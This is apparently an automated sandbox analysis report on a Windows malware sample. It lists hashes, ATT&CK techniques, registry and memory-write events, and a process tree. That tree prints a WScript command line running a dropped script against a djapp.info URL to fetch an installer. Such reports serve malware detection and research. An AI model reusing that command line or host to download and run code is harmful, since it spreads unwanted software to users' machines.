e76eef1344bff61b616a2617fa66cb8b52499d223b48dc038925d7dfdd86fa6a

Analysis

max time kernel
100s
max time network
90s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
26/04/2024, 11:33

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General

Target

00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe
Size

184KB
MD5

00ac84960d01eb684fbbb999bae37dd7
SHA1

578cad9e23d497f1c7ebf59c758cb30010ec0189
SHA256

e76eef1344bff61b616a2617fa66cb8b52499d223b48dc038925d7dfdd86fa6a
SHA512

af994fe8fbe9f5b1a07f0cb2e184ac5ee6284c94a11f7cdaefb50e6e618aa82db448b7a7abd98e80ba6b48a7a703a986e05a99a437538415c2d71e195fff4df7
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3cD:/7BSH8zUB+nGESaaRvoB7FJNndnlD

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 3360	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	82
PID 1636 wrote to memory of 3360	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	82
PID 1636 wrote to memory of 3360	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	82
PID 1636 wrote to memory of 3272	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	88
PID 1636 wrote to memory of 3272	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	88
PID 1636 wrote to memory of 3272	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	88
PID 1636 wrote to memory of 4768	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	91
PID 1636 wrote to memory of 4768	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	91
PID 1636 wrote to memory of 4768	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	91
PID 1636 wrote to memory of 1652	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	92
PID 1636 wrote to memory of 1652	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	92
PID 1636 wrote to memory of 1652	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	92
PID 1636 wrote to memory of 1924	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	93
PID 1636 wrote to memory of 1924	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	93
PID 1636 wrote to memory of 1924	1636	00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe	93

C:\Users\Admin\AppData\Local\Temp\00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\00ac84960d01eb684fbbb999bae37dd7_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=bdxWUMQefT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
  2⤵
  PID:3360
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=bdxWUMQefT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
  2⤵
  PID:3272
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=bdxWUMQefT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
  2⤵
  PID:4768
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=bdxWUMQefT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
  2⤵
  PID:1652
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=bdxWUMQefT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
  2⤵
  PID:1924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf45C3.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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